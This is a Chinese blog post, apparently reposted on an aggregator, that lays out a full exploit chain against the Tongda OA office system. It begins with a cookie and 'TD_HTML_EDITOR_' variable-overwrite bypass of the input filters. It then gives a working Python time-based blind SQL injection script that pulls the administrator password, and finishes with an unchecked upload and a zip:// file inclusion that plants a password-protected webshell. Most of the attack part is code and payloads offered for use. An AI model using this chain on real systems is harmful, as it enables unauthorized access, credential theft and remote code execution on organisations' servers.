IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    通达oa前台注入+后台getshell

    没穿底裤发表于 2016-12-30 19:23:14
    love 0

    注入分析
    \inc\common.inc.php

    <?php
    
    function SecureRequest(&$var)
    {
        if (is_array($var)) {
            foreach ($var as $_k => $_v ) {
                $var[$_k] = securerequest($_v);
            }
        }
        else {
            if ((0 < strlen($var)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $var)) {
                exit("Invalid Parameters!");
            }
    
            if (!get_magic_quotes_gpc()) {
                $var = addslashes($var);
            }
        }
    
        return $var;
    }
    
    function CheckRequest(&$val)
    {
        if (is_array($val)) {
            foreach ($val as $_k => $_v ) {
                checkrequest($_k);
                checkrequest($val[$_k]);
            }
        }
        else {
            if ((0 < strlen($val)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $val)) {
                exit("Invalid Parameters!");
            }
        }
    }
    
    function RemoveXSS($val)
    {
        if (is_array($val)) {
            foreach ($val as $key => $val ) {
                $val[$key] = removexss($val);
            }
        }
    
        $val = preg_replace("/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/", "", $val);
        $ra = array("javascript", "vbscript", "expression", "script", "iframe", "frame", "onerror", "onload", "onmousemove", "onmouseout", "onmouseover", "onmove", "onmovestart");
        $found = true;
    
        while ($found == true) {
            $val_before = $val;
    
            for ($i = 0; $i < sizeof($ra); $i++) {
                $pattern = "/";
    
                for ($j = 0; $j < strlen($ra[$i]); $j++) {
                    if (0 < $j) {
                        $pattern .= "(";
                        $pattern .= "(&#[xX]0{0,8}([9ab]);)";
                        $pattern .= "|";
                        $pattern .= "|(&#0{0,8}([9|10|13]);)";
                        $pattern .= ")*";
                    }
    
                    $pattern .= $ra[$i][$j];
                }
    
                $pattern .= "/i";
                $replacement = substr($ra[$i], 0, 2) . " " . substr($ra[$i], 2);
                $val = preg_replace($pattern, $replacement, $val);
    
                if ($val_before == $val) {
                    $found = false;
                }
            }
        }
    
        return $val;
    }
    
    checkrequest($_REQUEST);
    
    if (0 < count($_COOKIE)) {
        foreach ($_COOKIE as $s_key => $s_value ) {
            $_COOKIE[$s_key] = strip_tags(securerequest($s_value));
            $$s_key = $_COOKIE[$s_key];
        }
    
        reset($_COOKIE);
    }
    
    if (0 < count($_POST)) {
        $arr_html_fields = array();
    
        foreach ($_POST as $s_key => $s_value ) {
            if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
                if (is_array($s_value)) {
                    $_POST[$s_key] = securerequest($s_value);
                }
                else {
                    $_POST[$s_key] = strip_tags(securerequest($s_value));
                }
    
                $$s_key = $_POST[$s_key];
            }
            else {
                unset($_POST[$s_key]);
                $s_key = substr($s_key, 15);
                $$s_key = securerequest($s_value);
                $arr_html_fields[$s_key] = $$s_key;
            }
        }
    
        reset($_POST);
        $_POST = array_merge($_POST, $arr_html_fields);
    }
    
    if (0 < count($_GET)) {
        foreach ($_GET as $s_key => $s_value ) {
            $_GET[$s_key] = strip_tags(securerequest($s_value));
            $$s_key = $_GET[$s_key];
        }
    
        reset($_GET);
    }
    
    unset($s_key);
    unset($s_value);

    逻辑分析一下,
    CheckRequest函数去检查$_REQUEST,通达oa是环境程序一体安装等,php版本是5.3.29,这个时候的$_REQUEST不包含$_COOKIE的,所以可以通过cookie来覆盖变量。

    但是有一个很蛋疼的东西就是

    $_COOKIE[$s_key] = strip_tags(securerequest($s_value));

    strip_tags是没办法处理数组的,所以会返回null,故想覆盖比如_SESSION['a']的话,是没办法的。

    接下来看后面的$_COOKIE->$_POST->$_GET,这些都是用SecureRequest函数去检查。然而这个函数只检查了数组键值,=。=,然后还不允许这样以_GET、_POST等开头变量覆盖

    preg_match(<span class="hljs-string">"#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#"</span>, $<span class="hljs-keyword">var</span>)

    看到这段对$_post的处理

    <span class="kw"><span class="hljs-keyword">if</span></span> <span class="ot">(</span><span class="fu">substr</span><span class="ot">(</span><span class="kw">$s_key</span><span class="ot">,</span> <span class="dv"><span class="hljs-number">0</span></span><span class="ot">,</span> <span class="dv"><span class="hljs-number">15</span></span><span class="ot">)</span> != <span class="st"><span class="hljs-string">"TD_HTML_EDITOR_"</span></span><span class="ot">)</span> {
                xxx
            }
            <span class="kw"><span class="hljs-keyword">else</span></span> {
                <span class="fu"><span class="hljs-keyword">unset</span></span><span class="ot">(</span><span class="kw">$_POST</span><span class="ot">[</span><span class="kw">$s_key</span><span class="ot">]);</span>
                <span class="kw">$s_key</span> = <span class="fu">substr</span><span class="ot">(</span><span class="kw">$s_key</span><span class="ot">,</span> <span class="dv"><span class="hljs-number">15</span></span><span class="ot">);</span>
                <span class="kw">$$s_key</span> = securerequest<span class="ot">(</span><span class="kw">$s_value</span><span class="ot">);</span>
                <span class="kw">$arr_html_fields</span><span class="ot">[</span><span class="kw">$s_key</span><span class="ot">]</span> = <span class="kw">$$s_key</span><span class="ot">;</span>
            }

    =。=,如果传过去一个TD_HTML_EDITOR__SESSION[a]=1,最后不就成了_SESSION[a]=1,还顺便绕过了上面的正则检查。

    注入很多,用的是80sec的waf,比如

    http://lemon.love:8081/general/document/index.php/send/approve/finish

    <span class="kw"><span class="hljs-keyword">public</span></span> <span class="kw"><span class="hljs-function"><span class="hljs-keyword">function</span></span></span><span class="hljs-function"> <span class="hljs-title">approve_finish</span></span><span class="ot"><span class="hljs-function"><span class="hljs-params">()</span></span></span>
        {
            <span class="kw">$CUR_USER_ID</span> = <span class="kw">$_SESSION</span><span class="ot">[</span><span class="st"><span class="hljs-string">"LOGIN_USER_ID"</span></span><span class="ot">];</span>
            <span class="kw">$sid</span> = <span class="kw">$this</span>-&gt;input-&gt;post<span class="ot">(</span><span class="st"><span class="hljs-string">"sid"</span></span><span class="ot">);</span>
            <span class="kw">$sid</span> = <span class="fu">rtrim</span><span class="ot">(</span><span class="kw">$sid</span><span class="ot">,</span> <span class="st"><span class="hljs-string">","</span></span><span class="ot">);</span>
            <span class="kw">$sql</span> = <span class="st"><span class="hljs-string">"select sid,user_list from doc_send_data where cur_user='</span></span><span class="kw"><span class="hljs-string">$CUR_USER_ID</span></span><span class="st"><span class="hljs-string">' and status='2' and sid in(</span></span><span class="kw"><span class="hljs-string">$sid</span></span><span class="st"><span class="hljs-string">)"</span></span><span class="ot">;</span>
            <span class="kw">$query</span> = <span class="kw">$this</span>-&gt;db-&gt;query<span class="ot">(</span><span class="kw">$sql</span><span class="ot">);</span>

    bypass出数据:

    <span class="im"><span class="hljs-keyword">import</span></span> threading,time
    <span class="im"><span class="hljs-keyword">import</span></span> requests
    
    url <span class="op">=</span> <span class="st"><span class="hljs-string">"http://lemon.love:8081/general/document/index.php/send/approve/finish"</span></span>
    
    <span class="kw"><span class="hljs-function"><span class="hljs-keyword">def</span></span></span><span class="hljs-function"> <span class="hljs-title">exp</span><span class="hljs-params">(n)</span>:</span>
        <span class="kw"><span class="hljs-keyword">global</span></span> data
        <span class="cf"><span class="hljs-keyword">for</span></span> c <span class="op"><span class="hljs-keyword">in</span></span> <span class="bu">range</span>(<span class="dv"><span class="hljs-number">33</span></span>,<span class="dv"><span class="hljs-number">127</span></span>):
            i <span class="op">=</span> c
            flag <span class="op">=</span> <span class="dv"><span class="hljs-number">1</span></span>
            payload <span class="op">=</span> <span class="st"><span class="hljs-string">"1) and char(@`'`)  union select if(ord(mid(PASSWORD,</span></span><span class="sc"><span class="hljs-string">%d</span></span><span class="st"><span class="hljs-string">,1))=</span></span><span class="sc"><span class="hljs-string">%d</span></span><span class="st"><span class="hljs-string">,sleep(8),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)"</span></span> <span class="op">%</span> (n,i)
            exp_data <span class="op">=</span> {
                <span class="st"><span class="hljs-string">'sid'</span></span> : payload
            }
            cookies <span class="op">=</span> {
                <span class="st"><span class="hljs-string">'_SERVER'</span></span> : <span class="st"><span class="hljs-string">''</span></span>
            }
            <span class="cf"><span class="hljs-keyword">try</span></span>:
                res <span class="op">=</span> requests.post(url, data<span class="op">=</span>exp_data, cookies<span class="op">=</span>cookies, timeout<span class="op">=</span><span class="dv"><span class="hljs-number">5</span></span>)
            <span class="cf"><span class="hljs-keyword">except</span></span>:
                data[n] <span class="op">=</span> <span class="bu">chr</span>(i)
                <span class="bu"><span class="hljs-keyword">print</span></span> <span class="st"><span class="hljs-string">"Data </span></span><span class="sc"><span class="hljs-string">%d</span></span><span class="st"><span class="hljs-string">th: </span></span><span class="sc"><span class="hljs-string">%s</span></span><span class="st"><span class="hljs-string">"</span></span> <span class="op">%</span> (n,data[n])
                flag <span class="op">=</span> <span class="dv"><span class="hljs-number">0</span></span>
                <span class="cf"><span class="hljs-keyword">break</span></span>
        <span class="cf"><span class="hljs-keyword">if</span></span> flag:
            exit()
    
    <span class="kw"><span class="hljs-function"><span class="hljs-keyword">def</span></span></span><span class="hljs-function"> <span class="hljs-title">main</span><span class="hljs-params">()</span>:</span>
        threadpool<span class="op">=</span>[]
    
        <span class="cf"><span class="hljs-keyword">for</span></span> n <span class="op"><span class="hljs-keyword">in</span></span> <span class="bu">xrange</span>(<span class="dv"><span class="hljs-number">1</span></span>,<span class="dv"><span class="hljs-number">10</span></span>):
            th <span class="op">=</span> threading.Thread(target<span class="op">=</span>exp,args<span class="op">=</span> (n,))
            threadpool.append(th)
    
        <span class="cf"><span class="hljs-keyword">for</span></span> th <span class="op"><span class="hljs-keyword">in</span></span> threadpool:
            th.start()
    
        <span class="cf"><span class="hljs-keyword">for</span></span> th <span class="op"><span class="hljs-keyword">in</span></span> threadpool :
            threading.Thread.join(th)
    
    <span class="cf"><span class="hljs-keyword">if</span></span> <span class="va">__name__</span> <span class="op">==</span> <span class="st"><span class="hljs-string">'__main__'</span></span>:
        data <span class="op">=</span> {}
        start_time <span class="op">=</span> time.time()
        main()
        <span class="bu"><span class="hljs-keyword">print</span></span> <span class="st"><span class="hljs-string">"Get data: "</span></span>,data
        <span class="bu"><span class="hljs-keyword">print</span></span> <span class="st"><span class="hljs-string">"Spend time: "</span></span>,time.time()<span class="op">-</span>start_time
        <span class="cf"><span class="hljs-keyword">for</span></span> i <span class="op"><span class="hljs-keyword">in</span></span> <span class="bu">sorted</span>(data):
            <span class="bu"><span class="hljs-keyword">print</span></span> data[i],

    这样就可以跑出管理员密码,这个是用unix加密的,放cmd5解密一下就好了。

    上传+包含=>getshell

    general\reportshop\utils\upload.php

    上传没验证,然后又可以变量覆盖。所以可以直接上传一个php。

    exp.html

    <span class="kw"><span class="hljs-tag">&lt;<span class="hljs-name">form</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">action</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">"http://lemon.love:8081/general/reportshop/utils/upload.php?action=upload</span></span></span><span class="er"><span class="hljs-tag"><span class="hljs-string">&amp;</span></span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">filetype=xls"</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">method</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">"POST"</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">enctype</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">"multipart/form-data"</span></span></span><span class="kw"><span class="hljs-tag">&gt;</span></span>
        <span class="kw"><span class="hljs-tag">&lt;<span class="hljs-name">input</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">type</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">"file"</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">value</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">""</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">name</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">"FILE1"</span></span></span><span class="kw"><span class="hljs-tag">&gt;</span></span>
        <span class="kw"><span class="hljs-tag">&lt;<span class="hljs-name">input</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">type</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">"submit"</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">value</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">"submit"</span></span></span><span class="ot"><span class="hljs-tag"> <span class="hljs-attr">name</span>=</span></span><span class="st"><span class="hljs-tag"><span class="hljs-string">"submit"</span></span></span><span class="kw"><span class="hljs-tag">&gt;</span></span>
    <span class="kw"><span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span></span>

    上传的地址是:xxx/attachment/reportshop/templates/upload.php

    但是因为环境是一体的,所以这些上传的目录并没有执行权限。

    看到这段运行的。

    <span class="kw"><span class="hljs-function"><span class="hljs-keyword">function</span></span></span><span class="hljs-function"> <span class="hljs-title">delete_file</span></span><span class="ot"><span class="hljs-function"><span class="hljs-params">(</span></span></span><span class="kw"><span class="hljs-function"><span class="hljs-params">$url</span></span></span><span class="ot"><span class="hljs-function"><span class="hljs-params">)</span></span></span>
    {
        <span class="kw">$url</span> .= <span class="st"><span class="hljs-string">"general/reportshop/utils/upload.php?cluster=&amp;action="</span></span> . <span class="kw">$_POST</span><span class="ot">[</span><span class="st"><span class="hljs-string">"action"</span></span><span class="ot">]</span> . <span class="st"><span class="hljs-string">"&amp;filetype="</span></span> . <span class="kw">$_POST</span><span class="ot">[</span><span class="st"><span class="hljs-string">"filetype"</span></span><span class="ot">]</span> . <span class="st"><span class="hljs-string">"&amp;filename=</span></span><span class="kw"><span class="hljs-string">{$_POST["</span>filename<span class="hljs-string">"]}</span></span><span class="st"><span class="hljs-string">"</span></span><span class="ot">;</span>
        <span class="kw"><span class="hljs-keyword">include</span></span> <span class="ot">(</span><span class="kw">$url</span><span class="ot">);</span>
    }
    
    其中是这样调用的
    
    <span class="kw"><span class="hljs-keyword">else</span></span> <span class="kw"><span class="hljs-keyword">if</span></span> <span class="ot">(</span><span class="kw">$action</span> == <span class="st"><span class="hljs-string">"unupload"</span></span><span class="ot">)</span> {
        <span class="kw"><span class="hljs-keyword">if</span></span> <span class="ot">(</span><span class="kw">$filetype</span> == <span class="st"><span class="hljs-string">"xls"</span></span><span class="ot">)</span> {
            xx<span class="ot">;</span>
        }
        <span class="kw"><span class="hljs-keyword">else</span></span> <span class="kw"><span class="hljs-keyword">if</span></span> <span class="ot">(</span><span class="kw">$filetype</span> == <span class="st"><span class="hljs-string">"img"</span></span><span class="ot">)</span> {
            xx<span class="ot">;</span>
        }
        <span class="kw"><span class="hljs-keyword">else</span></span> <span class="kw"><span class="hljs-keyword">if</span></span> <span class="ot">(</span><span class="kw">$filetype</span> == <span class="st"><span class="hljs-string">"attach"</span></span><span class="ot">)</span> {
            <span class="kw">$uploaddir</span> = <span class="kw">MYOA_ATTACH_PATH</span> . <span class="st"><span class="hljs-string">"reportshop/attachment/"</span></span> . <span class="fu">trim</span><span class="ot">(</span><span class="kw">$filename</span><span class="ot">);</span>
    
            <span class="kw"><span class="hljs-keyword">if</span></span> <span class="ot">(</span><span class="fu">is_file</span><span class="ot">(</span><span class="kw">$uploaddir</span><span class="ot">))</span> {
                <span class="fu">unlink</span><span class="ot">(</span><span class="kw">$uploaddir</span><span class="ot">);</span>
    
                <span class="kw"><span class="hljs-keyword">if</span></span> <span class="ot">(</span>!<span class="fu"><span class="hljs-keyword">isset</span></span><span class="ot">(</span><span class="kw">$cluster</span><span class="ot">))</span> {
                    <span class="kw"><span class="hljs-keyword">foreach</span></span> <span class="ot">(</span><span class="kw">$arr_erp_server</span> <span class="kw"><span class="hljs-keyword">as</span></span> <span class="kw">$s_server</span> <span class="ot">)</span> {
                        delete_file<span class="ot">(</span><span class="kw">$s_server</span><span class="ot">);</span>
                    }
                }
            }
        }
    }

    所以是这样的一个情况,

    <span class="kw"><span class="hljs-meta">&lt;?php</span></span>
    <span class="kw"><span class="hljs-keyword">include</span></span> <span class="kw">$_GET</span><span class="ot">[</span><span class="dv"><span class="hljs-number">1</span></span><span class="ot">]</span> . <span class="st"><span class="hljs-string">"general/reportshop/utils/upload.php?cluster=&amp;action="</span></span> . <span class="kw">$_POST</span><span class="ot">[</span><span class="st"><span class="hljs-string">"action"</span></span><span class="ot">]</span> . <span class="st"><span class="hljs-string">"&amp;filetype="</span></span> . <span class="kw">$_POST</span><span class="ot">[</span><span class="st"><span class="hljs-string">"filetype"</span></span><span class="ot">]</span> . <span class="st"><span class="hljs-string">"&amp;filename=</span></span><span class="kw"><span class="hljs-string">{$_POST["</span>filename<span class="hljs-string">"]}</span></span><span class="st"><span class="hljs-string">"</span></span><span class="ot">;</span>

    这样的包含,可以利用zip、phar协议,但是后面还有?&=等符号,一个文件也没发这样创建。

    先创建一个upload…..(很多.).php,然后在winhex里面修改它为

     

    这样zip协议包含的时候就可以包含到这个文件了。

    整理一下利用过程:

    1. 先上传zip文件,里面包含payload
    2. 再上传一个1.txt文件(任意内容都可以,主要是为了进入include包含里面的条件)
    3. 进行包含

    <span class="hljs-string">http:</span><span class="hljs-comment">//lemon.love:8081/general/reportshop/utils/upload.de.php?action=unupload&amp;filename=../templates/1.txt&amp;filetype=attach</span>
    
    post数据:注意路径在进入后台后有一个系统信息可看到路径
    
    TD_HTML_EDITOR_arr_erp_server[aaa]=<span class="hljs-string">zip:</span><span class="hljs-comment">//C:\WWW\code-src\myoa\webroot\attachment\reportshop\templates\kk123.zip%23</span>

    kk123.zip

    这个zip包含后会生成一个shell,地址是

    <span class="hljs-symbol">http:</span><span class="hljs-comment">//lemon.love:8081/general/reportshop/utils/l.php</span>
    password:kk123

    

    know it then do it


沪ICP备19023445号-2号
友情链接